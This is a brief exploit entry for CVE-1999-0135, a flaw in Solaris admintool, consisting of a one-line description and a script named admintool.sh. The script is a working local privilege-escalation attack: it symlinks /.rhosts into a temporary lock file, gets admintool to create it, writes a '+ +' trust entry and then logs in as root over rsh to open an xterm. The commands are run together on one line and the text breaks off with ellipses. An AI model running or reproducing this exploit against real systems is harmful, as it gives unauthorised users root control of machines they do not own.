CVE-1999-0135

admintool in Solaris allows a local user to write to arbitrary files and gain root access...

admintool.sh

setenv DISPLAY yourdisplay:0.0 ln -s /.rhosts /tmp/.group.lock /usr/bin/admintool browse - group - edit a group - get an error message - exit echo "+ +" .rhosts /usr/bin/rsh localhost -l root "/usr/openwin/bin/xterm&"...